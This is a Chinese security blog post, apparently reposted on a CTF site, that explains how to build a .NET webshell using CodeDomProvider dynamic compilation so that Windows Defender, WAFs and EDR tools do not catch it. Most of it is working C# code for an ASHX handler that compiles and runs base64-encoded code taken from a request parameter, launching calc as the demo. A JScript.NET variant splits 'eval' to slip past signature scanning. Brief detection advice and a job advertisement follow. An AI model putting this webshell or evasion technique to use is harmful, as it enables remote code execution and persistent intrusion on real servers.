基于.NET动态编译技术实现任意代码执行

渗透技巧 3年前 (2021) admin
842 0 0

一、前言

当下主流的Waf或Windows Defender等终端杀软、EDR大多都是从特征码查杀,在.Net和VBS下一句话木马中最常见的特征是eval,对于攻击者来说需要避开这个系统关键字,可从反序列化方式避开eval,但公开已久相信很多安全产品已经能够很好检测和阻断这类攻击请求。笔者从.NET 内置的CodeDomProvider类下手实现动态编译.NET代码,指明JScrip或者C#作为编译语言,编译的WebShell目前Windows Defender不会查杀。而防御者从流量或终端识别 “CodeDomProvider.CreateProvider、CreateInstance“等特征码。

二、动态编译

.Net可通过编译技术将外部输入的字符串作为代码执行,动态编译技术提供了最核心的两个类CodeDomProvider 和 CompilerParameters,前者相当于编译器,后者相当于编译器参数,CodeDomProvider支持多种语言(如C#、VB、Jscript),编译器参数CompilerParameters.GenerateExecutable默认表示生成dll,GenerateInMemory= true时表示在内存中加载,CompileAssemblyFromSource表示程序集的数据源,再将编译产生的结果生成程序集供反射调用。最后通过CreateInstance实例化对象并反射调用自定义类中的方法。

CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ;     //编译器CompilerParameters comPara = new CompilerParameters();   //编译器参数comPara.ReferencedAssemblies.Add("System.dll"); //添加引用comPara.GenerateExecutable = false; //生成execomPara.GenerateInMemory = true; //内存中CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //编译数据的来源Assembly objAssembly = compilerResults.CompiledAssembly; //编译成程序集object objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); //创建对象MethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); //反射调用方法var result = objMifo.Invoke(objInstance, null);

三、落地实现

上述代码里的SourceText方法需提供编译的C#源代码,笔者创建了NeteyeInput类,如下

public static string SourceText(string txt)        {            StringBuilder sb = new StringBuilder();            sb.Append("using System;");            sb.Append(Environment.NewLine);            sb.Append("namespace  Neteye");            sb.Append(Environment.NewLine);            sb.Append("{");            sb.Append(Environment.NewLine);            sb.Append("    public class NeteyeInput");            sb.Append(Environment.NewLine);            sb.Append("    {");            sb.Append(Environment.NewLine);            sb.Append("        public void OutPut()");            sb.Append(Environment.NewLine);            sb.Append("        {");            sb.Append(Environment.NewLine);            sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));            sb.Append(Environment.NewLine);            sb.Append("        }");            sb.Append(Environment.NewLine);            sb.Append("    }");            sb.Append(Environment.NewLine);            sb.Append("}");            string code = sb.ToString();            return code;        }

类里声明了OutPut方法,该方法里通过Base64解码得到输入的原生字符串,笔者在这里以计算器作为演示,将“System.Diagnostics.Process.Start(“cmd.exe”,”/c calc”);”

编码为

U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7

最后在一般处理程序ProcessRequest方法中调用

public void ProcessRequest(HttpContext context)        {            context.Response.ContentType = "text/plain";            if (!string.IsNullOrEmpty(context.Request["txt"]))            {                DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7                context.Response.Write("Execute Status: Success!");            }            else            {                context.Response.Write("Just For Fun, Please Input txt!");            }        }


基于.NET动态编译技术实现任意代码执行

四、其他方法

  • Jscript.Net 动态编译拆解eval

在.NET安全领域中一句话木马主流的都是交给eval关键词执行,而很多安全产品都会对此重点查杀,所以笔者需要避开eval,而在.NET中eval只存在于Jscript.Net,所以需要将动态编译器指定为Jscript,其余和C#版本的动态编译基本一致,笔者通过插入无关字符将eval拆解掉,代码如下

private static readonly string _jscriptClassText =        @"import System;            class JScriptRun            {                public static function RunExp(expression : String) : String                {                    return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);                }            }";

只需在编译的时候替换掉无关字符串“/*@Ivan1ee@*/”,最后编译后反射执行目标方法。

CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/",""));

五、防御措施

  • 一般web应用使用场景不多,检测特征码:CodeDomProvider.CreateProvider、CreateInstance等等,一旦告警需格外关注;

  • 由于编译生成的程序集以临时文件保存在硬盘,需加入对可写目录下dll文件内容的监控;

  • 文章涉及的代码已经打包在 “https://github.com/Ivan1ee/.NETWebShell”

六、写在最后

网商银行诚招安全攻防、数据安全、安全研发等方向的人才,希望大家加入我们,base地可选北京、杭州,有关更多的岗位招聘详情点击这里


岗位描述

安全攻防方向
岗位职责:负责安全规范方案的制定和评估、安全测试、应急响应等工作,具体包括应用安全、移动端安全、系统安全、网络安全、威胁感知与防御、红蓝对抗等。
岗位要求:熟悉Web或移动端应用与业务的漏洞挖掘,渗透测试,代码审计及安全解决方案;熟悉APT攻击、黑灰产攻击、需对攻击检测规则或模型有一定研究。

数据安全方向
岗位职责:负责部门数据安全、隐私保护、密码学等关键技术能力建设;需对密码学、安全计算、隐私保护等领域前瞻性技术预研并持续创新。
岗位要求:掌握一种或多种高级密码学、安全计算或隐私保护技术,如差分隐私、通用安全多方计算、专用安全多方计算、全同态加密、函数加密、零知识证明、可信执行环境。

安全研发方向
岗位职责:负责网商银行核心安全架构和安全防御产品,建设安全大数据技术和智能防控体系。本岗位细分为三个方向:安全架构与产品、安全大数据分析、自动化运营与编排。
岗位要求:熟悉 Go、Java、C、Object-C、Python 中的一种或多种编程语言,具备安全工具或者高并发平台的开发经验。


原文始发于微信公众号(dotNet安全研究僧):基于.NET动态编译技术实现任意代码执行

版权声明:admin 发表于 2021年3月12日 上午7:33。
转载请注明:基于.NET动态编译技术实现任意代码执行 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...